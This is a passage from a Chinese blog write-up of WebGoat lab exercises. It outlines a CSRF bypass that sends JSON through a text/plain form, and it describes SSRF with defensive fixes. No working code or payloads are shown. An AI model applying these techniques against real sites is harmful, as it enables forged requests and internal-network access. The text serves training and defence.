2. csrf-->CSRFFeedback(7)

新增判斷了contentType。

攔截請求包生成的poc中,enctype="text/plain",我們要發送的json格式的數據都被隱藏在input的name中,其余同上

測試截圖:

SSRF

漏洞描述

服務端請求偽造攻擊(SSRF)也成為跨站點端口攻擊,是由於一些應用在9向第三方主機請求資源時提供了URL並通過傳遞的URL來獲取資源引起的,當這種功能沒有對協議、網絡可信便捷做好限制時,攻擊者可利用這種缺陷來獲取內網敏感數據、DOS內網服務器、讀文件甚至於可獲取內網服務器控制權限等。

漏洞成因

服務端提供了從其他服務器應用獲取數據的功能,且沒有對目標地址做過濾或者限制,比如說從指定url地址獲取網頁文本內容,加載指定地址的圖片,文檔等等.

代碼片段以及修復建議

兩個任務都是根據用戶輸入的參數,進行判斷輸入,並沒有任何過濾

測試截圖:


修復建議:

  1. 禁用不需要的協議.僅僅允許http和https請求.可以防止file://,gopher://,ftp://等引起的問題

  2. 統一錯誤信息,防止利用錯誤信息來判斷遠端服務器的端口狀態.

  3. 禁止302跳轉,或每跳轉一次檢查新的host是否為內網ip,后禁止

  4. 設置url名單或者限制內網ip.


最后

寫完好久之后覺得還是要說,因為webgoat里面的洞都挺基礎的,很多爆破,注入之類的建議自己寫腳本解題,感覺這樣對自己的提升更大~(๑•̀ㅂ•́)و✧


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM